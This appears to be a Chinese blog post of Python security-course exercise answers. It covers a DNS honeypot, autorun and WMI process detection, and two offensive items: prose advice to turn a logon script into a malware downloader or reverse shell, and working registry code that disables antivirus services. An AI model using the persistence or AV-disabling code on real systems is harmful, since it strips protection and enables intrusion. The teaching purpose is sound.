Python蜜罐与进程检测代码优化

内容分享7小时前发布
0 0 0

table {
border-collapse: collapse;
width: 100%;
margin-bottom: 1rem;
}
th, td {
border: 1px solid #ddd;
padding: 8px;
text-align: left;
}
th {
background-color: #f2f2f2;
}
tr:nth-child(even) {
background-color: #f9f9f9;
}
pre {
background-color: #f8f8f8;
padding: 15px;
border-radius: 4px;
overflow-x: auto;
}

1、目前,HoneyResolver.py 很容易区分真实和虚假结果,因为所有虚假结果都解析到同一个 IP 地址。修改代码,仅将某些虚假子域名解析为为每个子域名分配的唯一 IP 地址。

要实现仅将某些虚假子域名解析为为每个子域名分配的唯一 IP 地址,可按以下步骤修改代码:

定义一个字典,用于存储某些虚假子域名及其对应的唯一 IP 地址。


resolve

函数中,检查请求的子域名是否在该字典中,如果是,则返回对应的唯一 IP 地址;如果不是,则返回蜜罐 IP 地址。

以下是修改后的代码:


from dnslib import *
from dnslib.server import DNSServer

host = "localhost"
port = 8053

subdomains = {
    "www.": "10.0.0.1",
    "smtp.": "10.0.0.2"
}

domain = "example.com"
honeyip = "10.0.0.0"

# 定义某些虚假子域名及其对应的唯一 IP 地址
fake_subdomains = {
    "fake1.": "10.0.0.3",
    "fake2.": "10.0.0.4"
}

blocked = {}

class HoneyResolver:
    def resolve(self, request, handler):
        subdomain = str(request.q.qname.stripSuffix(domain + "."))
        if subdomain in subdomains:
            reply = request.reply()
            ip = subdomains[subdomain]
            reply.add_answer(RR(
                rname=request.q.qname,
                rtype=QTYPE.A,
                rclass=1,
                ttl=300,
                rdata=A(ip)
            ))
        elif subdomain in fake_subdomains:
            reply = request.reply()
            ip = fake_subdomains[subdomain]
            reply.add_answer(RR(
                rname=request.q.qname,
                rtype=QTYPE.A,
                rclass=1,
                ttl=300,
                rdata=A(ip)
            ))
        else:
            reply = request.reply()
            reply.add_answer(RR(
                rname=request.q.qname,
                rtype=QTYPE.A,
                rclass=1,
                ttl=300,
                rdata=A(honeyip)
            ))
        return reply

resolver = HoneyResolver()
server = DNSServer(resolver, port=port, address=host)
server.start_thread()

import time
while True:
    time.sleep(5)
server.stop()

在上述代码中,我们定义了一个

fake_subdomains

字典,用于存储某些虚假子域名及其对应的唯一 IP 地址。在

resolve

函数中,我们首先检查请求的子域名是否在

subdomains

中,如果是,则返回对应的真实 IP 地址;然后检查请求的子域名是否在

fake_subdomains

中,如果是,则返回对应的唯一 IP 地址;否则,返回蜜罐 IP 地址。

2、AutorunDetection 使用 psutil 库确定进程的 PID。修改代码以提供有关可疑进程的更多信息,例如它们的创建时间或父 PID。

要修改

AutorunDetection.py

代码以提供有关可疑进程的更多信息,如创建时间和父 PID,可以在

DetectAutorunProcess

函数中添加获取这些信息的代码。以下是修改后的代码:


import win32con
from win32api import GetLogicalDriveStrings
from win32file import GetDriveType
import os.path
import psutil

def GetRemovableDrives():
    driveStrings = GetLogicalDriveStrings()
    drives = [item for item in driveStrings.split("x00") if item]
    return [drive for drive in drives if GetDriveType(drive) is win32con.DRIVE_REMOVABLE]

def CheckAutorun(drive):
    filename = drive + "Autorun.inf"
    if os.path.isfile(filename):
        print("Autorun file at %s" % filename)
        with open(filename, "r") as f:
            for line in f:
                if line.startswith("Open"):
                    ind = line.index("=")
                    return line[ind+1:].rstrip()
    else:
        return None

def DetectAutorunProcess(executable):
    for proc in psutil.process_iter():
        if executable == proc.name():
            try:
                create_time = proc.create_time()
                parent_pid = proc.ppid()
                print("Autorun file running with PID %d, created at %s, parent PID: %d" % (proc.pid, create_time, parent_pid))
            except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):
                print("Error getting information for process with PID %d" % proc.pid)

for drive in GetRemovableDrives():
    executable = CheckAutorun(drive)
    if executable:
        DetectAutorunProcess(executable)

在这个修改后的代码中,

DetectAutorunProcess

函数在找到匹配的进程后,尝试获取该进程的创建时间和父 PID,并将这些信息打印出来。如果在获取信息时出现错误(例如进程已不存在、没有权限访问或进程处于僵尸状态),则会打印错误信息。

3、假设我们可以通过WMIDetection获取使用WMI启动的进程的PID,编写Python代码,利用这个PID,使用psutil库来收集有关该进程和可执行文件的更多信息,如进程名称、可执行文件路径、命令行、运行用户、创建时间、CPU使用率和内存使用率,并打印这些信息。若指定的PID不存在,输出相应的错误信息。

以下是一个示例代码,展示了如何结合WMIDetection获取的PID,使用psutil库来收集有关该进程和可执行文件的更多信息:


import psutil
# 假设这是WMIDetection获取的PID
pid = 19944  # 替换为实际的PID
try:
    # 获取进程对象
    process = psutil.Process(pid)
    # 收集进程信息
    process_info = {
        'name': process.name(),  # 进程名称
        'exe': process.exe(),  # 可执行文件路径
        'cmdline': process.cmdline(),  # 启动进程的命令行
        'username': process.username(),  # 运行进程的用户
        'create_time': process.create_time(),  # 进程创建时间
        'cpu_percent': process.cpu_percent(interval=1),  # CPU使用率
        'memory_percent': process.memory_percent()  # 内存使用率
    }
    # 打印进程信息
    for key, value in process_info.items(): 
        print(f'{key}: {value}')
except psutil.NoSuchProcess:
    print(f'进程PID {pid} 不存在。')

在这个示例中,我们首先导入了

psutil

库。然后,我们假设从WMIDetection中获取了一个PID,并使用

psutil.Process

函数创建了一个进程对象。接着,我们收集了有关该进程的各种信息,如进程名称、可执行文件路径、命令行、运行用户、创建时间、CPU使用率和内存使用率。最后,我们打印了这些信息。如果指定的PID不存在,我们会捕获

psutil.NoSuchProcess

异常并输出相应的错误信息。

4、目前,LogonScript.py 仅启动一个命令提示符。修改脚本目标,使其能为攻击者提供有用的操作。


可将脚本中 `command = "cmd.exe"` 替换为能为攻击者所用的命令,例如添加一个下载并运行第二阶段恶意软件的终端命令。也可以执行文件上传、下载敏感信息、建立反向 shell 等操作,例如将 command 赋值为能实现这些功能的命令。

同时,运行修改 HKU 中值的脚本时,要确保目标位置对该账户可访问。若系统无第二个用户账户,需先创建并登录以配置其注册表,获取账户 SID 并在代码中设置 `userSID` 的值,以管理员权限运行代码,登录新用户账户后即可执行修改后的脚本。

5、修改 DetectAntivirusService.py,通过将检测到的服务的 Start 值设置为 0x04 来禁用该服务。

可以在原代码基础上进行修改,当找到

Start

值为

0x02

的服务时,以写权限打开相应键并调用

SetValueEx


Start

值设置为

0x04

。以下是修改后的代码示例:


import winreg

reghive = winreg.HKEY_LOCAL_MACHINE
regpath = "SYSTEMCurrentControlSetServices"
av_list = ['MBAM'] # 可根据需要扩展

try:
    key = winreg.OpenKey(reghive, regpath, 0, access=winreg.KEY_READ)
    numKeys = winreg.QueryInfoKey(key)[0]
    for i in range(numKeys):
        subkey = winreg.EnumKey(key, i)
        for name in av_list:
            if name in subkey:
                subPath = "%s\%s" % (regpath, subkey)
                # 以写权限打开键
                k = winreg.OpenKey(reghive, subPath, 0, winreg.KEY_ALL_ACCESS)
                numVals = winreg.QueryInfoKey(k)[1]
                for j in range(numVals):
                    val = winreg.EnumValue(k, j)
                    if val[0] == "Start" and val[1] == 2:
                        print("Service %s set to run automatically, disabling it." % subkey)
                        # 设置 Start 值为 0x04
                        winreg.SetValueEx(k, "Start", 0, winreg.REG_DWORD, 0x04)
                        print("Service %s has been disabled." % subkey)
                winreg.CloseKey(k)
    winreg.CloseKey(key)
except Exception as e:
    print(e)

注意:运行此代码需要管理员权限。

© 版权声明

相关文章

暂无评论

none
暂无评论...